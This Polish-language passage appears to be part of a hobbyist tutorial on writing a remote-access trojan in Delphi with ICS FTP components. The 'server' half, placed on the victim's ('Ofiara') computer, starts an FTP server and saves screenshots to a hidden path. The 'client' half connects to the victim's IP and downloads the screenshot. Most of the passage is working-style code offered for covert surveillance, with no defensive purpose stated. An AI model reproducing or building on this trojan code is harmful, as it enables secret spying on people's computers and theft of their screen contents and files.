Ona właśnie zapisuje najważniejszą dla nas rzecz - Screen pliku w postaci JPG Jej obsługa jest banalna :
ZrobScreen('PlikTymczasowyBMP','PlikWfazieOstatecznejJPG'); Teraz Dodajemy na Forme komponent "FtpServer1" - jest on w pakiecie ISC W OnCreate Formy wpisujemy : FtpServer1.Start; //poprostu, start Servera FTP(przesyłanie,wysyłanie plików)
Teraz jak nastąpi komunikat o tym, że ma być zaraz pobierany Screen następuje procedurka : ZrobScreen('tmp.bmp','C:\Windows\WinshitScreen.jpg'); //robienie screenu
I...Screen jest pobierany przez Clienta...
Client Trojana : Opiszę tu tylko jak pobrać plik z dysku Ofiary, bo Tylko to jest potrzebne... ;)
Więc : wkładamy na Forme FtpClient1 z ISC Teraz Wystarczy np. w Button1.Click dać takie coś :
KOMENDA KTÓRA POWIADOMI SERVER O TYM, ZE MUSI ZROBIC SCREENA, I ZAPISAC GO DO C:\Windows\WinshitScreen.jpg
sleep(3000); //odczekanie 3 sek - przecież Server musi zrobić tego Screen'a ;)
try
FtpClient1.HostName := 127.0.0.1; // wpisać Tu należy IP servera...
FtpClient1.LocalFileName := 'C:\screen.jpg'; //gdzie sie plik Screenu Zapisz u nas...
FtpClient1.HostFileName := 'C:\Windows\WinshitScreen.jpg'; //skąd ma być pobrany od Ofiary
FtpClient1.Connect; //połaczenie...
finally
FtpClient1.Get; //Pobranie pliku (get) - jest tez możliwośc wysłania pliku za pomoca innej funkcji (put)
FtpClient1.Quit; //odłączenie ;) Teraz Screen który był u Ofiary, znalazł się u nas na dysku C:\...
Mam nadzieje ze wszystko opisałem Dobrze..., jak czegoś nie rozumiecie, trudno :)